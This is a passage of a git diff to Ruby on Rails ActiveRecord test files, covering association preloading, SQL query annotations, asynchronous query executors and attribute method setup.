+      preloader = ActiveRecord::Associations::Preloader.new(records: [post, postesque], associations: :author_with_the_letter_a)
+      preloader.call
+    end
+
+    assert_no_queries do
+      post.author_with_the_letter_a
+      postesque.author_with_the_letter_a
+    end
+
+    post.reload
+    postesque.reload
+
+    # When the generated SQL is identical, but one scope has preload values.
+    assert_queries_count(3) do
+      preloader = ActiveRecord::Associations::Preloader.new(records: [post, postesque], associations: :author_with_address)
+      preloader.call
+    end
+
+    assert_no_queries do
+      post.author_with_address
+      postesque.author_with_address
+    end
+  end
+
+  def test_preload_does_not_group_same_scope_different_key_name
+    post = posts(:welcome)
+    postesque = Postesque.create(author: Author.last)
+    postesque.reload
+
+    assert_queries_count(2) do
+      preloader = ActiveRecord::Associations::Preloader.new(records: [post, postesque], associations: :author)
+      preloader.call
+    end
+
+    assert_no_queries do
+      post.author
+      postesque.author
+    end
+  end
+
+  def test_multi_database_polymorphic_preload_with_same_table_name
+    dog = dogs(:sophie)
+    dog_comment = comments(:greetings)
+    dog_comment.origin_type = dog.class.name
+    dog_comment.origin_id = dog.id
+
+    other_dog = other_dogs(:lassie)
+    other_dog_comment = comments(:more_greetings)
+    other_dog_comment.origin_type = other_dog.class.name
+    other_dog_comment.origin_id = other_dog.id
+
+    # Both Dog and OtherDog are backed by a table named `dogs`,
+    # however they are stored in different databases and should
+    # therefore result in two separate queries rather than be batched
+    # together.
+    #
+    # Expected
+    #   SELECT FROM dogs ... (Dog)
+    #   SELECT FROM dogs ... (OtherDog)
+    assert_queries_count(2) do
+      preloader = ActiveRecord::Associations::Preloader.new(records: [dog_comment, other_dog_comment], associations: :origin)
+      preloader.call
+    end
+  end
+
+  def test_preload_with_available_records
+    post = posts(:welcome)
+    david = authors(:david)
+
+    assert_no_queries do
+      ActiveRecord::Associations::Preloader.new(records: [post], associations: :author, available_records: [[david]]).call
+
+      assert_predicate post.association(:author), :loaded?
+      assert_same david, post.author
+    end
+  end
+
+  def test_preload_with_available_records_sti
+    book = Book.create!
+    essay_special = EssaySpecial.create!
+    book.essay = essay_special
+    book.save!
+    book.reload
+
+    assert_not_predicate book.association(:essay), :loaded?
+
+    assert_no_queries do
+      ActiveRecord::Associations::Preloader.new(records: [book], associations: :essay, available_records: [[essay_special]]).call
+    end
+
+    assert_predicate book.association(:essay), :loaded?
+    assert_same essay_special, book.essay
+  end
+
+  def test_preload_with_only_some_records_available
+    bob_post = posts(:misc_by_bob)
+    mary_post = posts(:misc_by_mary)
+    bob = authors(:bob)
+    mary = authors(:mary)
+
+    assert_queries_count(1) do
+      ActiveRecord::Associations::Preloader.new(records: [bob_post, mary_post], associations: :author, available_records: [bob]).call
+    end
+
+    assert_no_queries do
+      assert_same bob, bob_post.author
+      assert_equal mary, mary_post.author
+    end
+  end
+
+  def test_preload_with_some_records_already_loaded
+    bob_post = posts(:misc_by_bob)
+    mary_post = posts(:misc_by_mary)
+    bob = bob_post.author
+    mary = authors(:mary)
+
+    assert_predicate bob_post.association(:author), :loaded?
+    assert_not mary_post.association(:author).loaded?
+
+    assert_queries_count(1) do
+      ActiveRecord::Associations::Preloader.new(records: [bob_post, mary_post], associations: :author).call
+    end
+
+    assert_no_queries do
+      assert_same bob, bob_post.author
+      assert_equal mary, mary_post.author
+    end
+  end
+
+  def test_preload_with_available_records_with_through_association
+    author = authors(:david)
+    categories = Category.all.to_a
+
+    assert_queries_count(1) do
+      # One query to get the middle records (i.e. essays)
+      ActiveRecord::Associations::Preloader.new(records: [author], associations: :essay_category, available_records: categories).call
+    end
+
+    assert_predicate author.association(:essay_category), :loaded?
+    assert categories.map(&:__id__).include?(author.essay_category.__id__)
+  end
+
+  def test_preload_with_only_some_records_available_with_through_associations
+    mary = authors(:mary)
+    mary_essay = essays(:mary_stay_home)
+    mary_category = categories(:technology)
+    mary_essay.update!(category: mary_category)
+
+    dave = authors(:david)
+    dave_category = categories(:general)
+
+    assert_queries_count(2) do
+      ActiveRecord::Associations::Preloader.new(records: [mary, dave], associations: :essay_category, available_records: [mary_category]).call
+    end
+
+    assert_no_queries do
+      assert_same mary_category, mary.essay_category
+      assert_equal dave_category, dave.essay_category
+    end
+  end
+
+  def test_preload_with_available_records_with_multiple_classes
+    essay = essays(:david_modest_proposal)
+    general = categories(:general)
+    david = authors(:david)
+
+    assert_no_queries do
+      ActiveRecord::Associations::Preloader.new(records: [essay], associations: [:category, :author], available_records: [general, david]).call
+
+      assert_predicate essay.association(:category), :loaded?
+      assert_predicate essay.association(:author), :loaded?
+      assert_same general, essay.category
+      assert_same david, essay.author
+    end
+  end
+
+  def test_preload_with_available_records_queries_when_scoped
+    post = posts(:welcome)
+    david = authors(:david)
+
+    assert_queries_count(1) do
+      ActiveRecord::Associations::Preloader.new(records: [post], associations: :author, scope: Author.where(name: "David"), available_records: [david]).call
+    end
+
+    assert_predicate post.association(:author), :loaded?
+    assert_not_equal david.__id__, post.author.__id__
+  end
+
+  def test_preload_with_available_records_queries_when_collection
+    post = posts(:welcome)
+    comments = Comment.all.to_a
+
+    assert_queries_count(1) do
+      ActiveRecord::Associations::Preloader.new(records: [post], associations: :comments, available_records: comments).call
+    end
+
+    assert_predicate post.association(:comments), :loaded?
+    assert_empty post.comments.map(&:__id__) & comments.map(&:__id__)
+  end
+
+  def test_preload_with_available_records_queries_when_incomplete
+    post = posts(:welcome)
+    bob = authors(:bob)
+    david = authors(:david)
+
+    assert_queries_count(1) do
+      ActiveRecord::Associations::Preloader.new(records: [post], associations: :author, available_records: [bob]).call
+    end
+
+    assert_no_queries do
+      assert_predicate post.association(:author), :loaded?
+      assert_equal david, post.author
+    end
+  end
+
+  def test_preload_with_unpersisted_records_no_ops
+    author = Author.new
+    new_post_with_author = Post.new(author: author)
+    new_post_without_author = Post.new
+    posts = [new_post_with_author, new_post_without_author]
+
+    assert_no_queries do
+      ActiveRecord::Associations::Preloader.new(records: posts, associations: :author).call
+
+      assert_same author, new_post_with_author.author
+      assert_nil new_post_without_author.author
+    end
+  end
+
+  def test_preload_wont_set_the_wrong_target
+    post = posts(:welcome)
+    post.update!(author_id: 54321)
+    some_other_record = categories(:general)
+    some_other_record.update!(id: 54321)
+
+    assert_raises do
+      some_other_record.association(:author)
+    end
+
+    assert_nothing_raised do
+      ActiveRecord::Associations::Preloader.new(records: [post], associations: :author, available_records: [[some_other_record]]).call
+      assert_predicate post.association(:author), :loaded?
+      assert_not_equal some_other_record, post.author
+    end
+  end
+
+  def test_preload_has_many_association_with_composite_foreign_key
+    blog_post = sharded_blog_posts(:great_post_blog_one)
+    blog_posts = [blog_post, sharded_blog_posts(:great_post_blog_two)]
+
+    ::ActiveRecord::Associations::Preloader.new(records: blog_posts, associations: [:comments]).call
+
+    assert_predicate blog_post.association(:comments), :loaded?
+    assert_includes(blog_post.comments.to_a, sharded_comments(:great_comment_blog_post_one))
+  end
+
+  def test_preload_belongs_to_association_with_composite_foreign_key
+    comment = sharded_comments(:great_comment_blog_post_one)
+    comments = [comment, sharded_comments(:great_comment_blog_post_two)]
+
+    ActiveRecord::Associations::Preloader.new(records: comments, associations: :blog_post).call
+
+    assert_predicate comment.association(:blog_post), :loaded?
+    assert_equal sharded_blog_posts(:great_post_blog_one), comment.blog_post
+  end
+
+  def test_preload_loaded_belongs_to_association_with_composite_foreign_key
+    comment = sharded_comments(:great_comment_blog_post_one)
+    comment.blog_post
+
+    assert_no_queries do
+      ActiveRecord::Associations::Preloader.new(records: [comment], associations: :blog_post).call
+    end
+  end
+
+  def test_preload_has_many_through_association_with_composite_query_constraints
+    tag = sharded_tags(:short_read_blog_one)
+
+    tags = [tag, sharded_tags(:breaking_news_blog_2)]
+
+    ActiveRecord::Associations::Preloader.new(records: tags, associations: :blog_posts).call
+
+    assert tags.all? { |tag| tag.association(:blog_posts).loaded? }
+
+    expected_blog_post_ids = Sharded::BlogPostTag
+      .where(blog_id: tag.blog_id, tag_id: tag.id)
+      .pluck(:blog_post_id)
+
+    assert_not_empty(expected_blog_post_ids)
+
+    assert_equal(expected_blog_post_ids.sort, tag.blog_posts.map(&:id).sort)
+  end
+
+  def test_preloads_has_many_on_model_with_a_composite_primary_key_through_id_attribute
+    order = cpk_orders(:cpk_groceries_order_2)
+    _shop_id, order_id = order.id
+    order_agreements = Cpk::OrderAgreement.where(order_id: order_id).to_a
+
+    assert_not_empty order_agreements
+    assert_equal order_agreements.sort, order.order_agreements.sort
+
+    loaded_order = nil
+    sql = capture_sql do
+      loaded_order = Cpk::Order.where(id: order_id).includes(:order_agreements).to_a.first
+    end
+
+    assert_equal 2, sql.size
+    preload_sql = sql.last
+
+    order_id_column = Regexp.escape(quote_table_name("cpk_order_agreements.order_id"))
+    expectation = /SELECT.*WHERE.* #{order_id_column} = (\?|(\d+)|\$\d)$/
+
+    assert_match(expectation, preload_sql)
+    assert_equal order_agreements.sort, loaded_order.order_agreements.sort
+  end
+
+  def test_preloads_belongs_to_a_composite_primary_key_model_through_id_attribute
+    order_agreement = cpk_order_agreements(:order_agreement_three)
+    order = cpk_orders(:cpk_groceries_order_2)
+    assert_equal order, order_agreement.order
+
+    loaded_order_agreement = nil
+    sql = capture_sql do
+      loaded_order_agreement = Cpk::OrderAgreement.where(id: order_agreement.id).includes(:order).to_a.first
+    end
+
+    assert_equal 2, sql.size
+    preload_sql = sql.last
+
+    order_id = Regexp.escape(quote_table_name("cpk_orders.id"))
+    expectation = /SELECT.*WHERE.* #{order_id} = (\?|(\d+)|\$\d)$/
+
+    assert_match(expectation, preload_sql)
+    assert_equal order, loaded_order_agreement.order
+  end
+
+  def test_preload_keeps_built_has_many_records_no_ops
+    post = Post.new
+    comment = post.comments.build
+
+    assert_no_queries do
+      ActiveRecord::Associations::Preloader.new(records: [post], associations: :comments).call
+
+      assert_equal [comment], post.comments.to_a
+    end
+  end
+
+  def test_preload_keeps_built_has_many_records_after_query
+    post = posts(:welcome)
+    comment = post.comments.build
+
+    assert_queries_count(1) do
+      ActiveRecord::Associations::Preloader.new(records: [post], associations: :comments).call
+
+      assert_includes post.comments.to_a, comment
+    end
+  end
+
+
+  def test_preload_keeps_built_belongs_to_records_no_ops
+    post = Post.new
+    author = post.build_author
+
+    assert_no_queries do
+      ActiveRecord::Associations::Preloader.new(records: [post], associations: :author).call
+
+      assert_same author, post.author
+    end
+  end
+
+  def test_preload_keeps_built_belongs_to_records_after_query
+    post = posts(:welcome)
+    author = post.build_author
+
+    assert_no_queries do
+      ActiveRecord::Associations::Preloader.new(records: [post], associations: :author).call
+
+      assert_same author, post.author
+    end
+  end
 end
 
 class GeneratedMethodsTest < ActiveRecord::TestCase
   fixtures :developers, :computers, :posts, :comments
+
   def test_association_methods_override_attribute_methods_of_same_name
     assert_equal(developers(:david), computers(:workstation).developer)
     # this next line will fail if the attribute methods module is generated lazily
@@ -359,3 +1611,97 @@ def test_included_module_overwrites_association_methods
     assert_equal :none, MyArticle.new.comments
   end
 end
+
+class WithAnnotationsTest < ActiveRecord::TestCase
+  fixtures :pirates, :parrots, :parrots_pirates, :pirates, :treasures
+
+  def test_belongs_to_with_annotation_includes_a_query_comment
+    pirate = SpacePirate.where.not(parrot_id: nil).first
+    assert pirate, "should have a Pirate record"
+
+    log = capture_sql do
+      pirate.parrot
+    end
+    assert_not_predicate log, :empty?
+    assert_predicate log.select { |query| query.match?(%r{/\*}) }, :empty?
+
+    assert_queries_match(%r{/\* that tells jokes \*/}) do
+      pirate.parrot_with_annotation
+    end
+  end
+
+  def test_has_and_belongs_to_many_with_annotation_includes_a_query_comment
+    pirate = SpacePirate.first
+    assert pirate, "should have a Pirate record"
+
+    log = capture_sql do
+      pirate.parrots.first
+    end
+    assert_not_predicate log, :empty?
+    assert_predicate log.select { |query| query.match?(%r{/\*}) }, :empty?
+
+    assert_queries_match(%r{/\* that are very colorful \*/}) do
+      pirate.parrots_with_annotation.first
+    end
+  end
+
+  def test_has_one_with_annotation_includes_a_query_comment
+    pirate = SpacePirate.first
+    assert pirate, "should have a Pirate record"
+
+    log = capture_sql do
+      pirate.ship
+    end
+    assert_not_predicate log, :empty?
+    assert_predicate log.select { |query| query.match?(%r{/\*}) }, :empty?
+
+    assert_queries_match(%r{/\* that is a rocket \*/}) do
+      pirate.ship_with_annotation
+    end
+  end
+
+  def test_has_many_with_annotation_includes_a_query_comment
+    pirate = SpacePirate.first
+    assert pirate, "should have a Pirate record"
+
+    log = capture_sql do
+      pirate.birds.first
+    end
+    assert_not_predicate log, :empty?
+    assert_predicate log.select { |query| query.match?(%r{/\*}) }, :empty?
+
+    assert_queries_match(%r{/\* that are also parrots \*/}) do
+      pirate.birds_with_annotation.first
+    end
+  end
+
+  def test_has_many_through_with_annotation_includes_a_query_comment
+    pirate = SpacePirate.first
+    assert pirate, "should have a Pirate record"
+
+    log = capture_sql do
+      pirate.treasure_estimates.first
+    end
+    assert_not_predicate log, :empty?
+    assert_predicate log.select { |query| query.match?(%r{/\*}) }, :empty?
+
+    assert_queries_match(%r{/\* yarrr \*/}) do
+      pirate.treasure_estimates_with_annotation.first
+    end
+  end
+
+  def test_has_many_through_with_annotation_includes_a_query_comment_when_eager_loading
+    pirate = SpacePirate.first
+    assert pirate, "should have a Pirate record"
+
+    log = capture_sql do
+      pirate.treasure_estimates.first
+    end
+    assert_not_predicate log, :empty?
+    assert_predicate log.select { |query| query.match?(%r{/\*}) }, :empty?
+
+    assert_queries_match(%r{/\* yarrr \*/}) do
+      SpacePirate.includes(:treasure_estimates_with_annotation, :treasures).first
+    end
+  end
+end
diff --git a/activerecord/test/cases/asynchronous_queries_test.rb b/activerecord/test/cases/asynchronous_queries_test.rb
new file mode 100644
index 0000000000000..215287ed9143e
--- /dev/null
+++ b/activerecord/test/cases/asynchronous_queries_test.rb
@@ -0,0 +1,308 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+
+module AsynchronousQueriesSharedTests
+  def test_async_select_failure
+    if in_memory_db?
+      assert_raises ActiveRecord::StatementInvalid do
+        @connection.select_all "SELECT * FROM does_not_exists", async: true
+      end
+    else
+      future_result = @connection.select_all "SELECT * FROM does_not_exists", async: true
+      assert_kind_of ActiveRecord::FutureResult, future_result
+      assert_raises ActiveRecord::StatementInvalid do
+        future_result.result
+      end
+    end
+  end
+
+  def test_async_query_from_transaction
+    assert_nothing_raised do
+      @connection.select_all "SELECT * FROM posts", async: true
+    end
+
+    unless in_memory_db?
+      @connection.transaction do
+        assert_raises ActiveRecord::AsynchronousQueryInsideTransactionError do
+          @connection.select_all "SELECT * FROM posts", async: true
+        end
+      end
+    end
+  end
+
+  def test_async_query_cache
+    @connection.enable_query_cache!
+
+    @connection.select_all "SELECT * FROM posts"
+    result = @connection.select_all "SELECT * FROM posts", async: true
+    assert_equal ActiveRecord::FutureResult::Complete, result.class
+  ensure
+    @connection.disable_query_cache!
+  end
+
+  def test_async_query_foreground_fallback
+    status = {}
+
+    subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |event|
+      if event.payload[:sql] == "SELECT * FROM does_not_exists"
+        status[:executed] = true
+        status[:async] = event.payload[:async]
+      end
+    end
+
+    @connection.pool.stub(:schedule_query, proc { }) do
+      if in_memory_db?
+        assert_raises ActiveRecord::StatementInvalid do
+          @connection.select_all "SELECT * FROM does_not_exists", async: true
+        end
+      else
+        future_result = @connection.select_all "SELECT * FROM does_not_exists", async: true
+        assert_kind_of ActiveRecord::FutureResult, future_result
+        assert_raises ActiveRecord::StatementInvalid do
+          future_result.result
+        end
+      end
+    end
+
+    assert_equal true, status[:executed]
+    assert_equal false, status[:async]
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+
+  private
+    def wait_for_future_result(result)
+      500.times do
+        break unless result.pending?
+        sleep 0.02
+      end
+    end
+end
+
+class AsynchronousQueriesTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  include AsynchronousQueriesSharedTests
+
+  def setup
+    @connection = ActiveRecord::Base.lease_connection
+  end
+
+  def test_async_select_all
+    status = {}
+
+    subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |event|
+      if event.payload[:sql] == "SELECT * FROM posts"
+        status[:executed] = true
+        status[:async] = event.payload[:async]
+      end
+    end
+
+    future_result = @connection.select_all "SELECT * FROM posts", async: true
+
+    if in_memory_db?
+      assert_kind_of ActiveRecord::FutureResult::Complete, future_result
+    else
+      assert_kind_of ActiveRecord::FutureResult, future_result
+      wait_for_future_result(future_result)
+    end
+
+    assert_kind_of ActiveRecord::Result, future_result.result
+    assert_equal @connection.supports_concurrent_connections?, status[:async]
+  ensure
+    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+  end
+end
+
+class AsynchronousQueriesWithTransactionalTest < ActiveRecord::TestCase
+  include AsynchronousQueriesSharedTests
+
+  def setup
+    @connection = ActiveRecord::Base.lease_connection
+    @connection.materialize_transactions
+  end
+end
+
+class AsynchronousExecutorTypeTest < ActiveRecord::TestCase
+  def teardown
+    clean_up_connection_handler
+  end
+
+  def test_null_configuration_uses_a_single_null_executor_by_default
+    old_value = ActiveRecord.async_query_executor
+    ActiveRecord.async_query_executor = nil
+
+    handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
+    db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+    db_config2 = ActiveRecord::Base.configurations.configs_for(env_name: "arunit2", name: "primary")
+    pool1 = handler.establish_connection(db_config)
+    pool2 = handler.establish_connection(db_config2, owner_name: ARUnit2Model)
+
+    async_pool1 = pool1.instance_variable_get(:@async_executor)
+    async_pool2 = pool2.instance_variable_get(:@async_executor)
+
+    assert_nil async_pool1
+    assert_nil async_pool2
+
+    assert_equal 2, handler.connection_pool_list(:all).count
+  ensure
+    ActiveRecord.async_query_executor = old_value
+  end
+
+  def test_one_global_thread_pool_is_used_when_set_with_default_concurrency
+    old_value = ActiveRecord.async_query_executor
+    ActiveRecord.async_query_executor = :global_thread_pool
+
+    handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
+    db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+    db_config2 = ActiveRecord::Base.configurations.configs_for(env_name: "arunit2", name: "primary")
+    pool1 = handler.establish_connection(db_config)
+    pool2 = handler.establish_connection(db_config2, owner_name: ARUnit2Model)
+
+    async_pool1 = pool1.instance_variable_get(:@async_executor)
+    async_pool2 = pool2.instance_variable_get(:@async_executor)
+
+    assert async_pool1.is_a?(Concurrent::ThreadPoolExecutor)
+    assert async_pool2.is_a?(Concurrent::ThreadPoolExecutor)
+
+    assert_equal 0, async_pool1.min_length
+    assert_equal 4, async_pool1.max_length
+    assert_equal 16, async_pool1.max_queue
+    assert_equal :caller_runs, async_pool1.fallback_policy
+
+    assert_equal 0, async_pool2.min_length
+    assert_equal 4, async_pool2.max_length
+    assert_equal 16, async_pool2.max_queue
+    assert_equal :caller_runs, async_pool2.fallback_policy
+
+    assert_equal 2, handler.connection_pool_list(:all).count
+    assert_equal async_pool1, async_pool2
+  ensure
+    ActiveRecord.async_query_executor = old_value
+  end
+
+  def test_concurrency_can_be_set_on_global_thread_pool
+    old_value = ActiveRecord.async_query_executor
+    ActiveRecord.async_query_executor = :global_thread_pool
+    old_concurrency = ActiveRecord.global_executor_concurrency
+    old_global_thread_pool_async_query_executor = ActiveRecord.instance_variable_get(:@global_thread_pool_async_query_executor)
+    ActiveRecord.instance_variable_set(:@global_thread_pool_async_query_executor, nil)
+    ActiveRecord.global_executor_concurrency = 8
+
+    handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
+    db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+    db_config2 = ActiveRecord::Base.configurations.configs_for(env_name: "arunit2", name: "primary")
+    pool1 = handler.establish_connection(db_config)
+    pool2 = handler.establish_connection(db_config2, owner_name: ARUnit2Model)
+
+    async_pool1 = pool1.instance_variable_get(:@async_executor)
+    async_pool2 = pool2.instance_variable_get(:@async_executor)
+
+    assert async_pool1.is_a?(Concurrent::ThreadPoolExecutor)
+    assert async_pool2.is_a?(Concurrent::ThreadPoolExecutor)
+
+    assert_equal 0, async_pool1.min_length
+    assert_equal 8, async_pool1.max_length
+    assert_equal 32, async_pool1.max_queue
+    assert_equal :caller_runs, async_pool1.fallback_policy
+
+    assert_equal 0, async_pool2.min_length
+    assert_equal 8, async_pool2.max_length
+    assert_equal 32, async_pool2.max_queue
+    assert_equal :caller_runs, async_pool2.fallback_policy
+
+    assert_equal 2, handler.connection_pool_list(:all).count
+    assert_equal async_pool1, async_pool2
+  ensure
+    ActiveRecord.global_executor_concurrency = old_concurrency
+    ActiveRecord.async_query_executor = old_value
+    ActiveRecord.instance_variable_set(:@global_thread_pool_async_query_executor, old_global_thread_pool_async_query_executor)
+  end
+
+  def test_concurrency_cannot_be_set_with_null_executor_or_multi_thread_pool
+    old_value = ActiveRecord.async_query_executor
+    ActiveRecord.async_query_executor = nil
+
+    assert_raises ArgumentError do
+      ActiveRecord.global_executor_concurrency = 8
+    end
+
+    ActiveRecord.async_query_executor = :multi_thread_pool
+
+    assert_raises ArgumentError do
+      ActiveRecord.global_executor_concurrency = 8
+    end
+  ensure
+    ActiveRecord.async_query_executor = old_value
+  end
+
+  def test_multi_thread_pool_executor_configuration
+    old_value = ActiveRecord.async_query_executor
+    ActiveRecord.async_query_executor = :multi_thread_pool
+
+    handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
+    config_hash = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary").configuration_hash
+    new_config_hash = config_hash.merge(min_threads: 0, max_threads: 10)
+    db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new("arunit", "primary", new_config_hash)
+    db_config2 = ActiveRecord::Base.configurations.configs_for(env_name: "arunit2", name: "primary")
+    pool1 = handler.establish_connection(db_config)
+    pool2 = handler.establish_connection(db_config2, owner_name: ARUnit2Model)
+
+    async_pool1 = pool1.instance_variable_get(:@async_executor)
+    async_pool2 = pool2.instance_variable_get(:@async_executor)
+
+    assert async_pool1.is_a?(Concurrent::ThreadPoolExecutor)
+    assert async_pool2.is_a?(Concurrent::ThreadPoolExecutor)
+
+    assert_equal 0, async_pool1.min_length
+    assert_equal 10, async_pool1.max_length
+    assert_equal 40, async_pool1.max_queue
+    assert_equal :caller_runs, async_pool1.fallback_policy
+
+    assert_equal 0, async_pool2.min_length
+    assert_equal 5, async_pool2.max_length
+    assert_equal 20, async_pool2.max_queue
+    assert_equal :caller_runs, async_pool2.fallback_policy
+
+    assert_equal 2, handler.connection_pool_list(:all).count
+    assert_not_equal async_pool1, async_pool2
+  ensure
+    ActiveRecord.async_query_executor = old_value
+  end
+
+  def test_multi_thread_pool_is_used_only_by_configurations_that_enable_it
+    old_value = ActiveRecord.async_query_executor
+    ActiveRecord.async_query_executor = :multi_thread_pool
+
+    handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
+
+    config_hash1 = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary").configuration_hash
+    new_config1 = config_hash1.merge(min_threads: 0, max_threads: 10)
+    db_config1 = ActiveRecord::DatabaseConfigurations::HashConfig.new("arunit", "primary", new_config1)
+
+    config_hash2 = ActiveRecord::Base.configurations.configs_for(env_name: "arunit2", name: "primary").configuration_hash
+    new_config2 = config_hash2.merge(min_threads: 0, max_threads: 0)
+    db_config2 = ActiveRecord::DatabaseConfigurations::HashConfig.new("arunit2", "primary", new_config2)
+
+    pool1 = handler.establish_connection(db_config1)
+    pool2 = handler.establish_connection(db_config2, owner_name: ARUnit2Model)
+
+    async_pool1 = pool1.instance_variable_get(:@async_executor)
+    async_pool2 = pool2.instance_variable_get(:@async_executor)
+
+    assert async_pool1.is_a?(Concurrent::ThreadPoolExecutor)
+    assert_nil async_pool2
+
+    assert_equal 0, async_pool1.min_length
+    assert_equal 10, async_pool1.max_length
+    assert_equal 40, async_pool1.max_queue
+    assert_equal :caller_runs, async_pool1.fallback_policy
+
+    assert_equal 2, handler.connection_pool_list(:all).count
+    assert_not_equal async_pool1, async_pool2
+  ensure
+    ActiveRecord.async_query_executor = old_value
+  end
+end
diff --git a/activerecord/test/cases/attribute_decorators_test.rb b/activerecord/test/cases/attribute_decorators_test.rb
deleted file mode 100644
index cfa6ed1da654c..0000000000000
--- a/activerecord/test/cases/attribute_decorators_test.rb
+++ /dev/null
@@ -1,125 +0,0 @@
-require "cases/helper"
-
-module ActiveRecord
-  class AttributeDecoratorsTest < ActiveRecord::TestCase
-    class Model < ActiveRecord::Base
-      self.table_name = "attribute_decorators_model"
-    end
-
-    class StringDecorator < SimpleDelegator
-      def initialize(delegate, decoration = "decorated!")
-        @decoration = decoration
-        super(delegate)
-      end
-
-      def cast(value)
-        "#{super} #{@decoration}"
-      end
-
-      alias deserialize cast
-    end
-
-    setup do
-      @connection = ActiveRecord::Base.connection
-      @connection.create_table :attribute_decorators_model, force: true do |t|
-        t.string :a_string
-      end
-    end
-
-    teardown do
-      return unless @connection
-      @connection.drop_table "attribute_decorators_model", if_exists: true
-      Model.attribute_type_decorations.clear
-      Model.reset_column_information
-    end
-
-    test "attributes can be decorated" do
-      model = Model.new(a_string: "Hello")
-      assert_equal "Hello", model.a_string
-
-      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
-
-      model = Model.new(a_string: "Hello")
-      assert_equal "Hello decorated!", model.a_string
-    end
-
-    test "decoration does not eagerly load existing columns" do
-      Model.reset_column_information
-      assert_no_queries do
-        Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
-      end
-    end
-
-    test "undecorated columns are not touched" do
-      Model.attribute :another_string, :string, default: "something or other"
-      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
-
-      assert_equal "something or other", Model.new.another_string
-    end
-
-    test "decorators can be chained" do
-      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
-      Model.decorate_attribute_type(:a_string, :other) { |t| StringDecorator.new(t) }
-
-      model = Model.new(a_string: "Hello!")
-
-      assert_equal "Hello! decorated! decorated!", model.a_string
-    end
-
-    test "decoration of the same type multiple times is idempotent" do
-      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
-      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
-
-      model = Model.new(a_string: "Hello")
-      assert_equal "Hello decorated!", model.a_string
-    end
-
-    test "decorations occur in order of declaration" do
-      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
-      Model.decorate_attribute_type(:a_string, :other) do |type|
-        StringDecorator.new(type, "decorated again!")
-      end
-
-      model = Model.new(a_string: "Hello!")
-
-      assert_equal "Hello! decorated! decorated again!", model.a_string
-    end
-
-    test "decorating attributes does not modify parent classes" do
-      Model.attribute :another_string, :string, default: "whatever"
-      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
-      child_class = Class.new(Model)
-      child_class.decorate_attribute_type(:another_string, :test) { |t| StringDecorator.new(t) }
-      child_class.decorate_attribute_type(:a_string, :other) { |t| StringDecorator.new(t) }
-
-      model = Model.new(a_string: "Hello!")
-      child = child_class.new(a_string: "Hello!")
-
-      assert_equal "Hello! decorated!", model.a_string
-      assert_equal "whatever", model.another_string
-      assert_equal "Hello! decorated! decorated!", child.a_string
-      assert_equal "whatever decorated!", child.another_string
-    end
-
-    class Multiplier < SimpleDelegator
-      def cast(value)
-        return if value.nil?
-        value * 2
-      end
-      alias deserialize cast
-    end
-
-    test "decorating with a proc" do
-      Model.attribute :an_int, :integer
-      type_is_integer = proc { |_, type| type.type == :integer }
-      Model.decorate_matching_attribute_types type_is_integer, :multiplier do |type|
-        Multiplier.new(type)
-      end
-
-      model = Model.new(a_string: "whatever", an_int: 1)
-
-      assert_equal "whatever", model.a_string
-      assert_equal 2, model.an_int
-    end
-  end
-end
diff --git a/activerecord/test/cases/attribute_methods/read_test.rb b/activerecord/test/cases/attribute_methods/read_test.rb
index 1fc63a49d406b..e99d146f848a8 100644
--- a/activerecord/test/cases/attribute_methods/read_test.rb
+++ b/activerecord/test/cases/attribute_methods/read_test.rb
@@ -1,4 +1,7 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "active_support/core_ext/enumerable"
 
 module ActiveRecord
   module AttributeMethods
@@ -8,19 +11,22 @@ def type; :integer; end
       end
 
       def setup
-        @klass = Class.new do
+        @klass = Class.new(Class.new { def self.initialize_generated_modules; end }) do
           def self.superclass; Base; end
-          def self.base_class; self; end
-          def self.decorate_matching_attribute_types(*); end
-          def self.initialize_generated_modules; end
+          def self.base_class?; true; end
+          def self.abstract_class?; false; end
+          def self.load_schema; end
 
-          include ActiveRecord::DefineCallbacks
           include ActiveRecord::AttributeMethods
 
           def self.attribute_names
             %w{ one two three }
           end
 
+          def self.attribute_types
+            {}
+          end
+
           def self.primary_key
           end
 
@@ -29,9 +35,9 @@ def self.columns
           end
 
           def self.columns_hash
-            Hash[attribute_names.map { |name|
-              [name, FakeColumn.new(name)]
-            }]
+            attribute_names.index_with { |name|
+              FakeColumn.new(name)
+            }
           end
         end
       end
diff --git a/activerecord/test/cases/attribute_methods/time_zone_converter_test.rb b/activerecord/test/cases/attribute_methods/time_zone_converter_test.rb
new file mode 100644
index 0000000000000..f42afdd9dbda0
--- /dev/null
+++ b/activerecord/test/cases/attribute_methods/time_zone_converter_test.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_support/core_ext/enumerable"
+require "models/topic"
+
+module ActiveRecord
+  module AttributeMethods
+    module TimeZoneConversion
+      class TimeZoneConverterTest < ActiveRecord::TestCase
+        def test_comparison_with_date_time_type
+          subtype = ActiveRecord::Type::DateTime.new
